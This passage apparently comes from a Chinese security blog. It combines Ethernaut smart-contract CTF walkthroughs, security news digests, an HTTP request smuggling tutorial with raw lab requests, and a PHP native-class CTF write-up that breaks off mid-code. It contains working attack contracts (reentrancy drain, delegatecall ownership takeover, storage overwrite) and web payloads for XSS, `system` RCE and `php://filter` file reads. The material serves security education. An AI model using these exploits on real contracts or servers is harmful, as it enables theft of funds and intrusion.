address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
分析
主要看receive函数,逻辑是先转账然后再更新king和prize,所以说,如果我们使得程序断在接受上,即可使得king不被更新。
所以代码是这样:
pragma solidity ^0.6.0;
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}
接受函数逻辑就是直接revert,这样攻击合约只要发生了转账,就会中止执行,这样transfer就不会成功,king也就不会更新。
reentrancy
题目
盗取合约中所有余额
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
分析
这个题目是很著名的re-entrance攻击,也就是重入攻击。漏洞点在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。
pragma solidity ^0.8.0;
interface IReentrance {
function withdraw(uint256 _amount) external;
}
contract Reentrance {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}
elevator
题目
另top==true
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
分析
合约并没有实现building,需要我们自己定义。从程序的分析来看,top不可能为true。所以我们需要在实现building的时候搞点事情,也就是第一次搞成false,第二次调用搞成true就好。
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint256 _floor) external;
}
contract Elevator {
address levelInstance;
bool side = true;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
function go() public {
IElevator(levelInstance).goTo(1);
}
}
privacy
题目
将locked成为false
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
分析
和那个vault一样,只不过这次的data需要确定位置。
根据32bytes一格的标准,划分如下
//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字节
//slot 3-5
bytes32[3] private data;
所以最终的data[2]就在slot5
所以最终查询:
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
naughty coin
题目
NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
分析
代码重载了EC20类,但是没有完全重载完,所以说可以直接调用ec20里面的函数进行转账。
contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))
preservation
题目
成为owner
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
分析
漏洞点还是在delegatecall上,由于不会改变上下文,所以说settime函数中,将storedtime赋值为time,如果delegatecall调用,其实是把slot1中的数据赋值为time。
所以说第一次setfirsttime将timezone1改掉,改成我们攻击合约地址,这样就可以调用魔改的settime函数。,然后就可以把owner改掉了。
攻击合约代码:
pragma solidity ^0.8.0;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}
攻击流程:
contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)
recovery
题目
合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 目的是从丢失的合同地址中恢复(或移除)0.5ether。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
分析
主要的难点就是找不到合约的地址,不过所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask钱包里面查看交易就能获得合约的地址。找到合约地址后调用destroy函数就行。
pragma solidity ^0.8.0;
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract SimpleToken {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}
Alien Codex
题目
成为owner
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
分析
合约引入了ownable,这样合约中就多了个owner变量,这个变量经过查询是在slot 0中。
前十六个字节是contact
可以看到调用完makecontact就变成1了。
在这个合约里面,可以指定下标元素赋值,且没有检查。所以说我们只需要计算出codex数组和slot0的距离即可改变owner。
codex是一个32bytes的数组,在slot1中存储着他的长度。我们要计算出一个元素的下标,如果下标溢出,则会存储到slot0中。
在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X),在这个合约中,开头的slot为1,也就是他的长度。(换句话说,数组中某个元素的slot = keccak(slot数组)+ index)
因此第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,以此类推。
所以我们要计算的下标就是令2^256 = keccak256(slot) + index,即index = 2^256 - keccak256(slot)
攻击代码:
pragma solidity ^0.8.0;
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
contract AlienCodex {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
}
denial
题目
阻止其他人从合约中withdraw。
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
分析
其实看到了call函数形式的转账就猜到差不多了,就是fallback函数的利用。在fallback函数中递归的调用wiithdraw函数,这样直到gas用光,就达到目的了。
pragma solidity ^0.8.0;
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
contract Denial {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
fallback() external payable {
IDenial(levelInstance).withdraw();
}
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}
gatekeeper1
题目
pass三个check
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
分析
第一个check直接用合约交互即可。
第三个check实际上是个截断问题,也就是说0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff
主要的难点在于第二个check,需要设定执行到gatetwo时的gasleft % 8191 == 0。
达到这个有两个方式,第一种方式是把原本题目合约扒下来,放到debug测试网络,然后攻击合约与其交互,在debug中看下gasleft是多少然后调整算出需要的gasleft。但是不同编译器版本编译出的合约所耗费的gas并不相同,按照medium网站上说的方式到etherscan上查了下合约信息,由于没有上传源码并不能得到题目合约的 编译器版本,所以尽管我们在debug环境下算出了符合条件的gas,仍然不能保证会成功。
第二种方式就比较暴力,直接写一个for循环,每次的gas都从一个值递增1,这样一定会遇到一个符合条件的gas。
pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOne {
address levelInstance;
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
}
}
magicnumber
题目
要求使用总长度不超过10的bytecode编写出一个合约,返回值为42.
代码
pragma solidity ^0.4.24;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
分析
主要参考这个链接,说的也比较详细:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
值得注意的一点是合约代码的长度是不会算构造函数以及构造合约的init函数的。
gatekeeper2
题目
过三个检查
代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
分析
这道题目需要在magicnumber之后做。
第一个check就是部署个合约即可。
第三个利用异或的性质,将key设置为addr ^ 0xffffffffffffff即可。
第二个check比较有意思,是利用了assembler,不过含义如字面意思。
caller()指的就是攻击合约,extcodesize(caller())指的就是攻击合约的代码长度,需要使得其长度为0。
这里在之前的magicnumber提到过,合约代码长度不会算进去构造函数的长度,所以将攻击函数直接写进构造函数即可。
pragma solidity ^0.8.0;
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwo {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}
由于新版本的solidity都会内置整数溢出检查,所以在攻击合约中uint64(0) - 1需要用uncheck修饰。
网络安全日报 2021年11月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、美国制裁NSO Group等四家开发监控软件的公司
https://securityaffairs.co/wordpress/124148/laws-and-regulations/us-santioned-nso-group-spyware-hacking-tools.html 2、BlackMatter 勒索软件团伙宣布关闭运营
https://securityaffairs.co/wordpress/124135/cyber-crime/blackmatter-ransomware-shutting-down-operations.html 3、Mekotio 银行木马以新的攻击和隐藏技术重新出现
https://thehackernews.com/2021/11/mekotio-banking-trojan-resurfaces-with.html 4、CISA 列出了组织需要修补的 300 个被利用的漏洞
https://www.securityweek.com/cisa-lists-300-exploited-vulnerabilities-organizations-need-patch 5、微软宣布面向中小企业终端安全的新解决方案
https://www.securityweek.com/microsoft-announces-new-endpoint-security-solution-smbs 6、攻击者利用 Windows 10 上的Chrome 绕过 UAC
https://cyware.com/news/attackers-exploiting-google-chrome-on-windows-10-for-uac-bypass-5ee58e6e 7、Chaos Ransomware 针对日本的 Minecraft 游戏玩家
https://cyware.com/news/chaos-ransomware-targeting-minecraft-gamers-in-japan-6ec628e2 8、Mozilla 修复了 Firefox 94 中的安全漏洞
https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/11/update-now-mozilla-fixes-security-vulnerabilities-in-firefox-94/ 9、攻击者利用ELF可执行文件针对WSL环境
https://blogs.quickheal.com/stay-alert-malware-authors-deploy-elf-as-windows-loaders-to-exploit-wsl-feature/ 10、美国理疗中心数据泄露影响6500多名患者
https://portswigger.net/daily-swig/data-breach-at-us-physical-therapy-center-impacts-more-than-6-500-patients
从一道CTF题到HTTP走私攻击
前言
最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在https://www.yijinglab.com/pages/CTFLaboratory.jsp进行一些解题操作,实战靶场级的体验!
RoarCTF 2019 Easy Calc
先看下源码:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\#39;,'\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致:
到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念
什么是HTTP请求走私
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。
Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。
这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。
如何实现HTTP请求走私攻击
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
CL不为0时
该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh:
这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
attack: 1\r\n
hhh: GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length : 51\r\n
这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。
CL-TE
CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示:
POST / HTTP/1.1
Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k
Content-Length: 6
Transfer-Encoding: chunked
0
A
当我们用Burp两次重放该数据包,会得到返回结果:
解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样:
0\r\n
\r\n
A
后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。
TE-CL
TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头:
POST / HTTP/1.1
Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。
CL-CL
CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理
回到最初
因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
网络安全日报 2021年11月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Facebook 表示将关闭其面部识别系统并删除数据
https://www.securityweek.com/facebook-shut-down-face-recognition-system-delete-data 2、FBI 发布 Hello Kitty 勒索软件的 IOC
https://www.securityweek.com/fbi-publishes-iocs-hello-kitty-ransomware 3、谷歌将发现Linux 内核中提权漏洞的赏金提高了三倍
https://securityaffairs.co/wordpress/124094/hacking/google-bug-bounty-linux-kernel-exploits.html 4、互联网上公开的GitLab有50%仍然受RCE漏洞的影响
https://securityaffairs.co/wordpress/124088/hacking/gitlab-rce.html 5、Pentaho 商业分析软件中存在严重漏洞
https://thehackernews.com/2021/11/critical-flaws-uncovered-in-pentaho.html 6、Android 11 月补丁修复了多个严重漏洞
https://www.bleepingcomputer.com/news/security/android-november-patch-fixes-actively-exploited-kernel-bug 7、巴基斯坦国有商业银行后端系统遭受破坏性攻击
https://therecord.media/destructive-cyberattack-hits-national-bank-of-pakistan/ 8、卡巴斯基修补了可能导致系统无法启动的漏洞
https://www.securityweek.com/kaspersky-patches-vulnerability-can-lead-unbootable-system 9、新的鱼叉式网络钓鱼活动窃取Office 365凭据
https://support.kaspersky.com/general/vulnerability.aspx?el=12430#01112021_phishing 10、电信堆栈软件FreeSwitch中存在5个安全漏洞
https://portswigger.net/daily-swig/multiple-flaws-in-telecoms-stack-software-freeswitch-uncovered
记一道2021浙江省赛的Web题
https://www.yijinglab.com/pages/CTFLaboratory.jsp
前景:
刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。
原生类:
报错类
Error
在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
例如,有以下代码:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
当传入下方payload的时候,会产生XSS
?a=Error&b=<script>alert("Lxxx");</script>
Exception
与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。
?a=Exception&b=<script>alert("Lxxx");</script>
这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢?
同样还是上方的测试代码,我们传以下payload:
?a=Exception&b=eval($_POST[1]);
可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。
不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
这个时候我们传入以下payload
?a=Exception&b=system('whoami')
这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。
遍历目录类
DirectoryIterator
DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项
假设我们有以下代码:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
这个时候我们传参如下:
?a=DirectoryIterator&b=.
在页面中返回了一个点(真的是一个点,不是显示屏上的污渍)
这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议
?a=DirectoryIterator&b=glob://flag*
那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办?
答案是:暴力搜索
?a=DirectoryIterator&b=glob://f[k-m]*
glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。
FilesystemIterator
同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。
GlobIterator
GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容
?a=GlobIterator&b=f[k-m]*
读取文件类
SplFileObject
SplFileObject类为文件提供了一个面向对象接口
说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。
同样还是这个测试代码:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
我们传payload如下:
?a=SplFileObject&b=flag.php
利用这个类可以将我们的flag.php文件读出来
不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛?
确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢?
我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的?
可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等)
而这些方法都有一个共同点就是,可以用伪协议。
虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。
因此我们传入payload:
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
可以看到,这个时候flag.php就被我们完整的读取出来了。
其余类
本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。
ReflectionMethod
ReflectionClass
SoapClient
SimpleXMLElement
ZipArchive
2021浙江网络安全省赛Web2的WP
题目代码如下:
<?php
error_reporting(0);
class A1{
public $tmp1;
public $tmp2;
public function __construct()
{
echo "Enjoy Hacking!";
}
public function __wakeup()
{
$this->tmp1->hacking();
}
}
class A2
{
public $tmp1;
public $tmp2;
public function hacking()
{
echo "Hacked By Bi0x";
}
}
class A3
{
public $tmp1;
public $tmp2;
public function hacking()
{
$this->tmp2->get_flag();
}
}
class A4
{
public $tmp1='1919810';
public $tmp2;
